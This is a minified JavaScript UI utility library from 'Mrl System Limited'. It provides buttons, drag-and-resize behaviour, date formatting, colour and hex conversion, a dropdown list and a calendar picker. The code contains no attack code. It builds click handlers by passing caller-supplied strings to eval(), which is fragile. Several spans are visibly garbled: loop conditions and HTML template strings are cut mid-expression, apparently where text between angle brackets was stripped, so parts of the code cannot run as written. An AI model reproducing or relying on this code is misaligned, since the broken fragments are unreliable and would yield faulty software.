//Mrl System Limited ver1.0 //By Mrl System Limited // //Mrl System Limited //Room 06-2509, 25F, Regent Centre, Tower A, 63 Wo Yi Hop Road, Kwai Chung, N.T., Hong Kong // // // // // var mhv=0;var mdivi=decodeURI('%01')+decodeURI('%03');var mdivia=decodeURI('%02')+decodeURI('%03');mcbtn=function(mcbtn_txt,mcbtn_func,mcbtn_mrc){var tt=mcbtn_txt;var func=mcbtn_func;var mrc=mcbtn_mrc;var btn=Mrlce('button');Mrlab4(btn,null,null,null,null,1);var mc=mrgb(mrc,1);Mrlmp(btn,'10px','6px 8px');MrlGradient(btn,mc[0]+'ff',mc[30]+'ff');var mc=mrgb(mrc);Mrlft(btn,'verdana',12,mc[100]);btn.style.display='inline-block';btn.style.border='none';btn.style.borderRadius='6px';btn.innerHTML=tt;eval('btn.onclick=function(){'+func+'}');return btn;};mcleardrag=function(mcleardrag_Gey){var d=mcleardrag_Gey;d.onmousedown=d.monmousedown;d.monmousedown=null;if(d.monmousemove){d.onmousemove=d.monmousemove;d.monmousemove=null};if(d.monmouseout){d.onmouseout=d.monmouseout;d.monmouseout=null};d.style.cursor=d.mcursor;d.mcursor=null;};msetdrag=function(msetdrag_Gey,msetdrag_defaultType,msetdrag_scale,msetdrag_border){var typ=msetdrag_defaultType||0;var d=msetdrag_Gey;d.mdrag_scale=msetdrag_scale||5;var bw=msetdrag_border||10;d.mdrag_bw=bw;if(d.monmousedown==null){d.monmousedown=d.onmousedown};if(d.monmousemove==null){d.monmousemove=d.onmousemove};if(d.monmouseout==null){d.monmouseout=d.onmouseout};if(d.mcursor==null){d.mcursor=d.style.cursor};d.mdrop=function(){};d.mmove=function(){};d.mpick=function(){};d.mmustgrid=0;d.onmousedown=function(e){e=e||window.event;if(e.target!=this&&(e.target.mdrag!=this)){return 0};var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;var d=this;var hc=Mrlmid();hc.childNodes[0].style.opacity='0';document.body.appendChild(hc);hc.mele=d;hc.pt=d.offsetTop;hc.pl=d.offsetLeft;hc.ph=d.offsetHeight;hc.pw=d.offsetWidth;d.hc=hc;hc.prx=x;hc.pry=y;hc.cx=hc.prx;hc.cy=hc.pry;hc.onmouseover=function(e){var hc=this;e=e||window.event;var d=hc.mele;var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;hc.pry=y;hc.prx=x;return false;};hc.onmousemove=function(e){var hc=this;e=e||window.event;var d=hc.mele;var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;hc.cy=y;hc.cx=x;d.mskeys=[(e.shiftKey?1:0),(e.ctrlKey?1:0),(e.altKey?1:0)];d.mmove();};hc.onmouseup=function(e){var hc=this;e=e||window.event;var d=hc.mele;var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;hc.cy=y;hc.cx=x;d.mmove();if(d.mdrop){d.mdrop()};hc.parentNode.removeChild(hc);return false};hc.onmouseout=function(e){var hc=this;var d=hc.mele;if(d.mdrop){d.mdrop()};hc.parentNode.removeChild(hc)};if(d.mpick){d.mpick()};return false};d.mmove=function(){var d=this;var hc=d.hc;var difx=(hc.cx-hc.prx);var dify=(hc.cy-hc.pry);var ds=d.mdrag_scale;if(d.mskeys[1]||d.mmustgrid){difx=parseInt(difx/ds)*ds;dify=parseInt(dify/ds)*ds};hc.mele.style.top=(hc.pt*1+difx*1)+'px';hc.mele.style.left=(hc.pl*1+dify*1)+'px';};d.mskeys=[0,0,0];if(typ==0){}else if(typ==1){d.onmousemove=function(e){var d=this;e=e||window.event;var y=e.offsetX||e.layerX;var x=e.offsetY||e.layerY;if(e.target!=this&&(e.target.mdrag!=this)){return 0};var typ=0;var wd=d.offsetWidth;var ht=d.offsetHeight;var dif=d.mdrag_bw;if((x>=ht-dif||x<=dif)&&(y>=dif&&y<=wd-dif)){typ=1};if((x<=dif&&y>=wd-dif)||(x>=ht-dif&&y<=dif)){typ=2};if((y>=wd-dif||y<=dif)&&(x>=dif&&x<=ht-dif)){typ=3};if((x<=dif&&y<=dif)||(x>=ht-dif&&y>=wd-dif)){typ=4};if(typ==0){d.style.cursor='move';}else if(typ==1){d.style.cursor='n-resize';if(x>=ht-dif){d.mtyp=1}else if(x<=dif){d.mtyp=0};}else if(typ==2){d.style.cursor='ne-resize';if(x<=dif&&y>=wd-dif){d.mtyp=0}else if(x>=ht-dif&&y<=dif){d.mtyp=1};}else if(typ==3){d.style.cursor='e-resize';if(y>=wd-dif){d.mtyp=1}else if(y<=dif){d.mtyp=0};}else if(typ==4){d.style.cursor='nw-resize';if(x<=dif&&y<=dif){d.mtyp=0}else if(x>=ht-dif&&y>=wd-dif){d.mtyp=1};};d.ntyp=typ;};d.mmove=function(){var d=this;var hc=d.hc;var po=d.style.position;var typ=d.mtyp;var ntyp=d.ntyp;var ht=hc.ph;var wd=hc.pw;var chk=0;var difx=(hc.cx-hc.prx);var dify=(hc.cy-hc.pry);var ds=d.mdrag_scale;if(d.mskeys[1]||d.mmustgrid){difx=parseInt(difx/ds)*ds;dify=parseInt(dify/ds)*ds};if(ntyp==0){hc.mele.style.top=(hc.pt*1+difx*1)+'px';hc.mele.style.left=(hc.pl*1+dify*1)+'px';return 0;};if(d.mskeys[0]){if(ntyp==2||ntyp==4){if(ntyp==2){dify=(0-dify)};var Ge=parseInt((difx*1+dify*1)*(ht/(ht*1+wd*1)));dify=parseInt((difx*1+dify*1)*(wd/(ht*1+wd*1)));difx=Ge;if(d.mskeys[1]||d.mmustgrid){dify=parseInt(dify/ds)*ds;difx=parseInt(dify/wd*ht);};if(ntyp==2){dify=(0-dify)};};};if(typ==0){var nht=((ht-difx)>0)?(ht-difx):(difx-ht);var ntp=hc.pt*1-(((ht-difx)>0)?nht:0)*1+ht*1;var nwd=((wd-dify)>0)?(wd-dify):(dify-wd);var nlf=hc.pl*1-(((wd-dify)>0)?nwd:0)*1+wd*1;}else{var nht=((ht*1+difx*1)>0)?(ht*1+difx*1):((0-difx*1)-ht*1);var ntp=hc.pt*1-(((ht*1+difx*1)>0)?0:nht)*1;var nwd=((wd*1+dify*1)>0)?(wd*1+dify*1):((0-dify*1)-wd*1);var nlf=hc.pl*1-(((wd*1+dify*1)>0)?0:nwd)*1;};if(ntyp==1){var nlf=null;var nwd=null;}else if(ntyp==2){if(typ==0){var nwd=((wd*1+dify*1)>0)?(wd*1+dify*1):((0-dify*1)-wd*1);var nlf=hc.pl*1-(((wd*1+dify*1)>0)?0:nwd)*1;}else{var nwd=((wd-dify)>0)?(wd-dify):(dify-wd);var nlf=hc.pl*1-(((wd-dify)>0)?nwd:0)*1+wd*1;};}else if(ntyp==3){var ntp=null;var nht=null;}else if(ntyp==4){};if(chk==1){nht=0;nwd=0};Mrlab4(d,ntp,nlf,nht,nwd);d.style.position=po;};};return d};Mrlab4=function(Gab4_Gey,Gab4_Tp,Gab4_Lf,Gab4_Ht,Gab4_Wd,Gab4_Pos){var Gey=Gab4_Gey;Gey.style.position='absolute';if(Gab4_Tp||Gab4_Tp==0){Gey.style.top=Gab4_Tp+(isNaN(Gab4_Tp*1)?'':'px')};if(Gab4_Lf||Gab4_Lf==0){Gey.style.left=Gab4_Lf+(isNaN(Gab4_Lf*1)?'':'px')};if(Gab4_Ht||Gab4_Ht==0){Gey.style.height=Gab4_Ht+(isNaN(Gab4_Ht*1)?'':'px')};if(Gab4_Wd||Gab4_Wd==0){Gey.style.width=Gab4_Wd+(isNaN(Gab4_Wd*1)?'':'px')};if(Gab4_Pos==1){Gey.style.position='relative';};return Gey;};Mrlft=function(Gft_Gey,Gft_ff,Gft_fs,Gft_co){var Gey=Gft_Gey;if(Gft_ff){Gey.style.fontFamily=Gft_ff};if(Gft_fs){Gey.style.fontSize=Gft_fs+'px'};if(Gft_co){Gey.style.color=Gft_co};};Mrlmp=function(Gmp_Gey,Gmp_mar,Gmp_pad){var Gey=Gmp_Gey;if(Gmp_mar){Gey.style.margin=Gmp_mar};if(Gmp_pad){Gey.style.padding=Gmp_pad};};mpubdate=function(mpubdate_diff,mpubdate_hourdiff,mpubdate_date){var d=mpubdate_diff?mpubdate_diff:0;var dh=mpubdate_hourdiff?mpubdate_hourdiff:0;var now=mpubdate_date||new Date();now.setDate(now.getDate()+d*1);now.setHours(now.getHours()+dh*1);var yr=now.getFullYear();var m=now.getMonth()*1+1;var da=now.getDate();yr='0000'+''+yr;m='00'+''+m;da='00'+''+da;yr=yr.substring(yr.length-4);m=m.substring(m.length-2);da=da.substring(da.length-2);var nd=yr+'-'+m+'-'+da;return nd;};mpubdatetime=function(mpubdate_diff,mpubdate_hourdiff,mpubdate_date){var d=mpubdate_diff?mpubdate_diff:0;var dh=mpubdate_hourdiff?mpubdate_hourdiff:0;var now=mpubdate_date||new Date();now.setDate(now.getDate()+d*1);now.setHours(now.getHours()+dh*1);var yr=now.getFullYear();var m=now.getMonth()*1+1;var da=now.getDate();yr='0000'+''+yr;m='00'+''+m;da='00'+''+da;yr=yr.substring(yr.length-4);m=m.substring(m.length-2);da=da.substring(da.length-2);var hr=now.getHours();hr='00'+''+hr;hr=hr.substring(hr.length-2);var mn=now.getMinutes();mn='00'+''+mn;mn=mn.substring(mn.length-2);var sc=now.getSeconds();sc='00'+''+sc;sc=sc.substring(sc.length-2);var nd=yr+'-'+m+'-'+da+' '+hr+':'+mn+':'+sc;return nd;};var mmdatetodate=function(mmdatetodate_dt){var dt=mmdatetodate_dt;var ddt=new Date();ddt.setFullYear(dt.substring(0,4),dt.substring(5,7)-1,dt.substring(8,10));ddt.setHours(dt.substring(11,13),dt.substring(14,16),dt.substring(17,19));return ddt;};var mdatetomdate=function(mdatetomdate_dt){var dt=mdatetomdate_dt;var ddt='';var ary=[[dt.getFullYear(),4,'-'],[dt.getMonth()*1+1*1,2,'-'],[dt.getDate(),2,' '],[dt.getHours(),2,':'],[dt.getMinutes(),2,':'],[dt.getSeconds(),2,'']];for(var i=0;ieedt){var Ge=sdt;var sdt=edt;var edt=Ge;var Ge=ssdt;var ssdt=eedt;var eedt=Ge;};if(lst){var ary=new Array();var ln=eedt-ssdt*1+1*1;var cdt=sdt;for(var i=0;i=0;i--){if(m10[val.substring(i,i*1+1)]!==undefined){q++;ttl=ttl*1+m10[val.substring(i,i*1+1)]*(Math.pow(16,q))}};return ttl;};m10to16=function(m10to16_val){var val=m10to16_val?m10to16_val:0;val+='';val=val.replace(/[,]+/g,'');if(isNaN(val*1)){return 0};val*=1;var m16={0:'0',1:'1',2:'2',3:'3',4:'4',5:'5',6:'6',7:'7',8:'8',9:'9',10:'a',11:'b',12:'c',13:'d',14:'e',15:'f'};var ttl='';var b=val;var a=(0-1);for(var i=0;a!=0;i=0){var a=parseInt(b/16);ttl=m16[(b-(a*16))]+''+ttl;b=a;};return ttl;};Mrlmid=function(){var d=Mrlce('div');var tt="
";tt+="
";d.innerHTML=tt;Mrlab4(d,0,0);d.style.height='100%';d.style.width='100%';var td=d.getElementsByTagName('input')[0].parentNode;td.removeChild(td.childNodes[0]);d.td=td;d.style.position='fixed';d.style.zIndex='16777271';d.mblur=function(){var d=this;d.parentNode.removeChild(d)};return d;};mrgb=function(mrgb_rgb,mrgb_typ){var mc=mrgb_rgb;var typ=mrgb_typ?(mrgb_typ>2?2:mrgb_typ):0;if(!mc){return 0};if(mc.substring(0,1)!='#'){return 0};if(mc.length==4){mc='#'+mc.substring(1,2)+''+mc.substring(1,2)+''+mc.substring(2,3)+''+mc.substring(2,3)+''+mc.substring(3,4)+''+mc.substring(3,4)};if(mc.length!=7){return 0};var r=mc.substring(1,3);var g=mc.substring(3,5);var b=mc.substring(5,7);var rten=m16to10(r);var gten=m16to10(g);var bten=m16to10(b);if(typ==0){if((rten*1+gten*1+bten*1)>=381){typ=2}else{typ=1}};if(typ==1){var mto=255}else if(typ==2){var mto=0};var mrgbs=new Array();var mcrgb=[rten,gten,bten];for(var i=0;i<101;i++){var mtrgb=new Array();for(var q=0;q<3;q++){var a=('0'+''+m10to16(Math.round(mcrgb[q]*1+((mto-mcrgb[q])*(i/100))*1)));a=a.substring(a.length-2);mtrgb[q]=a;};mrgbs[i]='#'+mtrgb.join('');};return mrgbs;};mrgb2mc=function(mrgb2mc_rgb){var Geycl=mrgb2mc_rgb;Geycl=Geycl.replace(/rgba\(/g,'').replace(/rgb\(/g,'').replace(/\)/g,'');var Geycl_ary=Geycl.split(',');var ncl=new Array();var Geycl=((Geycl_ary.length==0)?Geycl:('#'+mfillzeros(m10to16(Geycl_ary[0]),2)+mfillzeros(m10to16(Geycl_ary[1]),2)+mfillzeros(m10to16(Geycl_ary[2]),2)+((Geycl_ary.length>=4)?mfillzeros(m10to16(Geycl_ary[3]),2):'')));return Geycl;};mmc2rgb=function(mmc2rgb_mc){var cmc=mmc2rgb_mc.replace(/\#/g,'');if(cmc.length<6){var a=cmc.substring(0,1);var b=cmc.substring(1,2);var c=cmc.substring(2,3);cmc=a+''+a+''+b+''+b+''+c+''+c};var a=cmc.substring(0,2);var b=cmc.substring(2,4);var c=cmc.substring(4,6);var d=((cmc.length==8)?cmc.substring(6,8):'00');var a=m16to10(a);var b=m16to10(b);var c=m16to10(c);var d=m16to10(d);return [a,b,c,d];};mamp="&";mlt="<";mgt=">";mnbsp=" ";mramp="&";Gt="<";mrgt=">";mrnbsp=" ";Mrlie9=function(){return navigator.appVersion.indexOf('MSIE')!=-1&&(document.documentMode || browserEngineVersion)<9;};MrlAR=function(GArrayRemove_Ary,GArrayRemove_ID){return GArrayRemove_Ary.slice(0,GArrayRemove_ID).concat(GArrayRemove_Ary.slice(GArrayRemove_ID*1+1,GArrayRemove_Ary.length))};Mrlgei=function(Ggei_GeA){return document.getElementById(Ggei_GeA)};Mrlgp=function(Ggp_inp){var inp=Ggp_inp;var p=inp.parentNode;for(var i=0;p!=document.body;i=0){var pt=p.tagName;pt+='';pt=pt.toUpperCase();if(pt=='DIV'||pt== 'BUTTON'||pt=='CENTER'||pt=='SPAN'){break};p=p.parentNode;};return p;};Mrlce=function(Gce_GeA){return document.createElement(Gce_GeA)};MrlTransform=function(GTransform_GeyA,GTransform_GeA){GTransform_GeyA.style.transform=GTransform_GeA;GTransform_GeyA.style.mozTransform=GTransform_GeA;GTransform_GeyA.style.msTransform=GTransform_GeA;GTransform_GeyA.style.webkitTransform=GTransform_GeA;};MrlTransformOrigin=function(GTransformOrigin_GeyA,GTransformOrigin_GeA){GTransformOrigin_GeyA.style.transformOrigin=GTransformOrigin_GeA;GTransformOrigin_GeyA.style.mozTransformOrigin=GTransformOrigin_GeA;GTransformOrigin_GeyA.style.msTransformOrigin=GTransformOrigin_GeA;GTransformOrigin_GeyA.style.webkitTransformOrigin=GTransformOrigin_GeA;};MrlListDropDown = function(GListDropDown_GeyA, GListDropDown_Ary){var GeyA = GListDropDown_GeyA;if (GeyA.GCurrentOpenning == 1) {return 0;};GeyA.GCurrentOpenning = '1';var aryA = GListDropDown_Ary;var GeyB = GeyA.parentNode;for (i = 0;GeyB != document.body ;i = 0) {var GeA = GeyB.tagName;GeA = GeA.toUpperCase();if (GeA == 'DIV') {break;};GeyB = GeyB.parentNode;};var GeyC = GeyB;var GeyLs = Mrlce('div');GeyLs.GTextBox = GeyA;GeyLs.style.top = (GeyA.offsetTop * 1 + GeyA.offsetHeight * 1) + 'px';GeyLs.style.left = (GeyA.offsetLeft * 1) + 'px';GeyLs.style.width = GeyA.offsetWidth + 'px';GeyLs.style.height = (GeyB.offsetHeight / 2) + 'px';GeyLs.style.position = 'absolute';GeyLs.style.overflow = 'hidden';GeyLs.style.zIndex = '999';var GeyPar = GeyA.parentNode;for (var i = 0; GeyPar != document.body; i = 0) {var GeA = GeyPar.tagName;GeA = GeA.toUpperCase();if (GeA == 'DIV' || GeA == 'BUTTON' || GeA == 'SPAN') {break};GeyPar = GeyPar.parentNode;};GeyPar.appendChild(GeyLs);var GeyLsBk = Mrlce('div');GeyLsBk.style.top = '0px';GeyLsBk.style.left = '0px';GeyLsBk.style.width = GeyA.offsetWidth * 1 + 20 + 'px';GeyLsBk.style.height = (GeyB.offsetHeight / 2) + 'px';GeyLsBk.style.position = 'absolute';GeyLsBk.style.overflow = 'hidden';GeyLsBk.style.zIndex = '0';GeyLsBk.style.backgroundColor = '#fafafa';GeyLsBk.style.filter = 'alpha(opacity=90)';GeyLsBk.style.opacity = '0.9';GeyLs.appendChild(GeyLsBk);var GeyLsTb = Mrlce('div');GeyLsTb.style.top = '0px';GeyLsTb.style.left = '0px';GeyLsTb.style.width = (GeyA.offsetWidth * 1 + 20) + 'px';GeyLsTb.style.height = (GeyB.offsetHeight / 2) + 'px';GeyLsTb.style.position = 'absolute';GeyLsTb.style.overflow = 'hidden';GeyLsTb.style.overflowY = 'scroll';GeyLsTb.style.zIndex = '1';GeyLs.appendChild(GeyLsTb);var Tp = -20;for (var i in aryA) {Tp = Tp * 1 + 20;var GeyB = Mrlce('div');GeyB.style.position = 'absolute';GeyB.style.top = Tp + 'px';GeyB.style.left = '0px';GeyB.style.width = GeyA.offsetWidth * 1 + 20 + 'px';GeyB.style.height = '20px';GeyB.style.fontFamily = 'Verdana';GeyB.style.fontSize = '12px';GeyB.style.color = '#000000';GeyB.style.backgroundColor = 'transparent';GeyB.innerHTML = aryA[i];GeyB.onmouseover = function(){this.style.backgroundColor = '#666666';this.style.color = '#fafafa';};GeyB.onmouseout = function(){this.style.backgroundColor = 'transparent';this.style.color = '#000000';};GeyB.onclick = function(){this.parentNode.parentNode.GTextBox.value = this.innerHTML;clearTimeout(this.parentNode.parentNode.GTimeout);if (this.parentNode.parentNode.GTextBox.onchange) {this.parentNode.parentNode.GTextBox.onchange()};this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode);GeyA.GCurrentOpenning = 0;};GeyLsTb.appendChild(GeyB);};Tp = Tp * 1 + 20;if (Tp <= (GeyC.offsetHeight / 2)) {GeyLsTb.style.height = Tp + 'px';GeyLsBk.style.height = Tp + 'px';GeyLs.style.height = Tp + 'px';};if (GeyLsTb.getElementsByTagName('div').length == 0) {GeyLs.parentNode.removeChild(GeyLs);GeyA.GCurrentOpenning = 0;};GeyLs.GGey = GeyA;GeyLs.id = 'MrlDropDownList_' + Math.round(Math.random() * 9999);GeyLs.GTimeout = setTimeout("var GeyA = Mrlgei('"+GeyLs.id+"'); if(!GeyA) {return 0}; GeyA.GGey.GCurrentOpenning = 0; GeyA.Gclose()", 1000);GeyLs.Gclose = function(){this.parentNode.removeChild(this)};GeyLs.onmouseover = function(){clearTimeout(this.GTimeout)};GeyLs.onmouseout = function(){clearTimeout(this.GTimeout); this.GTimeout = setTimeout("var GeyA = Mrlgei('"+this.id+"'); if(!GeyA) {return 0}; GeyA.GGey.GCurrentOpenning = 0; GeyA.Gclose()", 1000)};return GeyLs;};MrlDateInputFunction = function(GDateInputFunction_GeyA, GDateInputFunction_GeA){if (GDateInputFunction_GeyA.GDateInputing) {if (GDateInputFunction_GeyA.GDateInputing == 'Y'){return 0}};var Sz = 1.2;GDateInputFunction_GeyA.GDateInputing = 'Y';if (!GDateInputFunction_GeA) {var GeA = GDateInputFunction_GeyA.value;} else {var GeA = GDateInputFunction_GeA;};var GeB = '';if (GeA == '') {var now = new Date();var GeC = now.getYear();GeC = GeC * 1;if (GeC < 2000) {GeC = GeC * 1 + 1900;};GeC = GeC + '';GeB = GeB + GeC + '-';GeC = now.getMonth();GeC = GeC * 1 + 1;GeC = GeC + '';if (GeC.length == 1) {GeC = '0' + GeC;};GeB = GeB + GeC + '-';GeC = now.getDate();GeC = GeC + '';if (GeC.length == 1) {GeC = '0' + GeC;};GeB = GeB + GeC;GDateInputFunction_GeyA.value = GeB;GeA = GDateInputFunction_GeyA.value ;} var Y =GeA.substring(0, 4);Y = Y * 1;var M = GeA.substring(5, 7);M = M * 1;var D = GeA.substring(8, 10);D = D * 1;if ((Y / 4) == Math.round((Y / 4) - 0.5, 0)) {var DicM = [31,29,31,30,31,30,31,31,30,31,30,31];} else {var DicM = [31,28,31,30,31,30,31,31,30,31,30,31];}var DateOfYear = 0;for (i = 0;i < (M - 1);i++){DateOfYear = DateOfYear * 1 + DicM[i];}DateOfYear = DateOfYear * 1 + D;var DateFrom1990 = ((Y - 1900) * 365) * 1 + Math.round((Y / 4) - 0.5, 0) * 1 - Math.round(1899 / 4 - 0.5, 0) * 1 + DateOfYear;var WeekDateOf = ((DateFrom1990 - D * 1 + 1) - (Math.round((DateFrom1990 - D * 1 + 1) / 7 - 0.5, 0) * 7)) - 1;var GBG = '#fafafa';var GBD = '#eee';var GBGa = '#ccc';var GBDb = '#ddd';var GSelBG = '#efefef';var GHFontC = '#f00';var GNFontC = '#666';var GeyA = Mrlce('div');GeyA.style.position = 'absolute';GeyA.name = '0';GeyA.GRandomGeyVar = 'MrlRandomGeyVar' + Math.round(Math.random() * 900, 0);GeyA.id = GeyA.GRandomGeyVar;GeyA.style.width = (210 * Sz) + 'px';GeyA.style.height = (160 * Sz) + 'px';GeyA.style.zIndex = '999';GeyA.style.overflow = 'hidden';GeyA.style.backgroundColor = GBG;var GeyB = Mrlce('Gey');GeyB.GTextBox = GDateInputFunction_GeyA;var DA = D;DA = DA + '';if (DA.length == 1) DA = '0' + DA;GeyB.GValue = DA;GeyA.appendChild(GeyB);var GeyB = Mrlce('Select');GeyB.style.position = 'absolute';GeyB.style.width = (55 * Sz) + 'px';GeyB.style.height = (20 * Sz) + 'px';GeyB.style.top = (5 * Sz) + 'px';GeyB.style.left = (25 * Sz) + 'px';GeyB.style.zIndex = '500';GeyB.style.fontFamily = 'Arial';GeyB.style.fontSize = (12 * Sz) + 'px';GeyB.style.border = 'none 0px #000000';GeyB.style.backgroundColor = 'transparent';for (var i = Y - 50;i < (Y * 1 + 50);i++) {var p = i + '';var GeyC = Mrlce('option');GeyC.value = p;GeyC.innerHTML = p;GeyB.appendChild(GeyC) ;} GeyB.onchange = function(){var GeyA = this.parentNode.getElementsByTagName('select');this.parentNode.getElementsByTagName('Gey')[0].GTextBox.GDateInputing = 'N';MrlDateInputFunction(this.parentNode.getElementsByTagName('Gey')[0].GTextBox, (GeyA[0].value + '-' + GeyA[1].value + '-' + this.parentNode.getElementsByTagName('Gey')[0].GValue));this.parentNode.parentNode.removeChild(this.parentNode);};GeyA.appendChild(GeyB);GeyB.selectedIndex = 50;var GeyB = Mrlce('Select');GeyB.style.position = 'absolute';GeyB.style.width = (40 * Sz) + 'px';GeyB.style.height = (20 * Sz) + 'px';GeyB.style.top = (5 * Sz) + 'px';GeyB.style.left = (80 * Sz) + 'px';GeyB.style.zIndex = '500';GeyB.style.fontFamily = 'Arial';GeyB.style.fontSize = (12 * Sz) + 'px';GeyB.style.border = 'none 0px #000000';GeyB.style.backgroundColor = 'transparent';for (var i = 1;i < 13;i++) {var p = i + '';if (p.length == 1) {p = '0' + p;};var GeyC = Mrlce('option');GeyC.value = p;GeyC.innerHTML = p;GeyB.appendChild(GeyC);} GeyB.onchange = function(){var GeyA = this.parentNode.getElementsByTagName('select');this.parentNode.getElementsByTagName('Gey')[0].GTextBox.GDateInputing = 'N';MrlDateInputFunction(this.parentNode.getElementsByTagName('Gey')[0].GTextBox, (GeyA[0].value + '-' + GeyA[1].value + '-' + this.parentNode.getElementsByTagName('Gey')[0].GValue));this.parentNode.parentNode.removeChild(this.parentNode);};GeyA.appendChild(GeyB);GeyB.selectedIndex = M - 1;var GeyB = Mrlce('button');GeyB.style.position = 'absolute';GeyB.style.width = (20 * Sz) + 'px';GeyB.style.height = (20 * Sz) + 'px';GeyB.style.top = (5 * Sz) + 'px';GeyB.style.left = (5 * Sz) + 'px';GeyB.style.zIndex = '500';GeyB.style.fontFamily = 'Arial';GeyB.style.fontSize = (10 * Sz) + 'px';GeyB.style.color = GNFontC;GeyB.style.border = 'none 0px #000000';GeyB.style.backgroundColor = GSelBG;GeyB.value = "-";GeyB.onclick = function(){var GeyA = this.parentNode.getElementsByTagName('select');if (GeyA[1].value == '01') {GeyA[1].value = '12'; GeyA[0].value--} else if ((GeyA[1].value * 1 - 1) < 10) {GeyA[1].value = '0' + (GeyA[1].value * 1 - 1)} else {GeyA[1].value--};this.parentNode.getElementsByTagName('Gey')[0].GTextBox.GDateInputing = 'N';MrlDateInputFunction(this.parentNode.getElementsByTagName('Gey')[0].GTextBox, (GeyA[0].value + '-' + GeyA[1].value + '-' + this.parentNode.getElementsByTagName('Gey')[0].GValue));this.parentNode.parentNode.removeChild(this.parentNode);};GeyA.appendChild(GeyB);var GeyB = Mrlce('button');GeyB.style.position = 'absolute';GeyB.style.width = (20 * Sz) + 'px';GeyB.style.height = (20 * Sz) + 'px';GeyB.style.top = (5 * Sz) + 'px';GeyB.style.left = (120 * Sz) + 'px';GeyB.style.zIndex = '500';GeyB.style.fontFamily = 'Arial';GeyB.style.fontSize = (10 * Sz) + 'px';GeyB.style.border = 'none 0px #000000';GeyB.style.backgroundColor = GSelBG;GeyB.style.color = GNFontC;GeyB.innerHTML = "+";GeyB.onclick = function(){var GeyA = this.parentNode.getElementsByTagName('select');if (GeyA[1].value == 12) {GeyA[1].value = '01'; GeyA[0].value++} else if ((GeyA[1].value * 1 + 1) < 10) {GeyA[1].value = '0' + (GeyA[1].value * 1 + 1)} else {GeyA[1].value++};this.parentNode.getElementsByTagName('Gey')[0].GTextBox.GDateInputing = 'N';MrlDateInputFunction(this.parentNode.getElementsByTagName('Gey')[0].GTextBox, (GeyA[0].value + '-' + GeyA[1].value + '-' + this.parentNode.getElementsByTagName('Gey')[0].GValue));this.parentNode.parentNode.removeChild(this.parentNode);};GeyA.appendChild(GeyB);var DicWeekDay = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];var Tp = (18 * Sz) * 1 + (10 * Sz);var Lf = 0 - (28 * Sz) * 1 + (5 * Sz);for (var m = 0;m < 7;m++) {Lf = Lf * 1 + (28 * Sz);var GeyB = Mrlce('label');GeyB.style.position = 'absolute';GeyB.style.width = (28 * Sz) + 'px';GeyB.style.height = (18 * Sz) + 'px';GeyB.style.top = Tp + 'px';GeyB.style.left = Lf + 'px';GeyB.style.zIndex = '500';GeyB.style.fontFamily = 'Arial';GeyB.style.fontSize = (12 * Sz) + 'px';if (m == 0) {GeyB.style.color = GHFontC;} else {GeyB.style.color = GNFontC;} GeyB.style.backgroundColor = GBG;GeyB.style.border = 'solid ' + (1 * Sz) + 'px ' + GBD;GeyB.innerHTML = DicWeekDay[m];GeyB.style.textAlign = 'center';GeyB.style.overflow = 'hidden';GeyA.appendChild(GeyB);} var DicThisDates = new Array();var DicThisDatesType = new Array();var GeStr = DicM[M - 2] - WeekDateOf;var nonMonthBG = GBG;var nonMonthBD = GBG;var curMonthBG = GBGa;var curMonthBD = GBDb;var GSelBackgroundColor = GSelBG;for (var i = 0;i < WeekDateOf;i++) {DicThisDates[DicThisDates.length] = (GeStr * 1 + i);DicThisDatesType[DicThisDatesType.length] = 0;};for (var i = 0;i < DicM[M - 1];i++) {DicThisDates[DicThisDates.length] = i * 1 + 1;DicThisDatesType[DicThisDatesType.length] = 1;};for (var i = 0;DicThisDates.length <= 6 * 7;i++) {DicThisDates[DicThisDates.length] = i * 1 + 1;DicThisDatesType[DicThisDatesType.length] = 0;} var Tp = (18 * Sz) + (10 * Sz);var Lf = 0;for (var n = 0;n < 6;n++) {Tp = (Tp * 1 + (18 * Sz));Lf = 0 - (28 * Sz) + 5 * Sz;for (var m = 0;m < 7;m++) {Lf = Lf * 1 + (28 * Sz);var GeyB = Mrlce('button');GeyB.style.position = 'absolute';GeyB.style.width = (28 * Sz) + 'px';GeyB.style.height = (18 * Sz) + 'px';GeyB.style.top = Tp + 'px';GeyB.style.left = Lf + 'px';GeyB.style.zIndex = '500';GeyB.style.fontFamily = 'Arial';GeyB.style.fontSize = (12 * Sz) + 'px';if (m == 0) {GeyB.style.color = GHFontC;} else {GeyB.style.color = GNFontC;};if (DicThisDatesType[(n * 7 + m)] == 1) {GeyB.style.backgroundColor = curMonthBG;} else {GeyB.style.backgroundColor = nonMonthBG;};if (DicThisDatesType[(n * 7 + m)] == 1) {GeyB.style.border = 'solid ' + (1 * Sz) + 'px ' + curMonthBD;} else {GeyB.style.border = 'solid ' + (1 * Sz) + 'px ' + nonMonthBD;};if (DicThisDatesType[(n * 7 + m)] == 1) {GeyB.innerHTML = DicThisDates[(n * 7 + m)];};if (DicThisDatesType[(n * 7 + m)] == 1) {GeyB.name = curMonthBG;} else {GeyB.name = nonMonthBG;};if (DicThisDatesType[(n * 7 + m)] == 1) {GeyB.GName = curMonthBG;} else {GeyB.GName = nonMonthBG;};GeyB.GNum = (n * 7 + m);if (DicThisDatesType[(n * 7 + m)] == 1 && DicThisDates[(n * 7 + m)] == D) {GeyA.name = (n * 7 + m);GeyB.style.backgroundColor = GSelBackgroundColor;};if (DicThisDatesType[(n * 7 + m)] == 1) {GeyB.onmouseover = function(){this.name = this.style.backgroundColor;this.style.backgroundColor = GSelBackgroundColor;};};if (DicThisDatesType[(n * 7 + m)] == 1) {GeyB.onmouseout = function(){this.style.backgroundColor = this.name;};};if (DicThisDatesType[(n * 7 + m)] == 1) {var YA = Y + '';var MA = M + '';if (MA.length == 1) {MA = '0' + MA;} var DA = DicThisDates[(n * 7 + m)];DA = DA + '';if (DA.length == 1) {DA = '0' + DA;};eval("GeyB.onclick = function(){var GeyA = this.parentNode.getElementsByTagName('button')[this.parentNode.name];GeyA.style.backgroundColor = GeyA.GName;this.style.backgroundColor = GSelBackgroundColor;this.name = GSelBackgroundColor;this.parentNode.name = this.GNum;this.parentNode.getElementsByTagName('Gey')[0].GValue = '" + DA + "';this.parentNode.getElementsByTagName('Gey')[0].GTextBox.value = '" + YA + '-' + MA + '-' + DA + "'; if 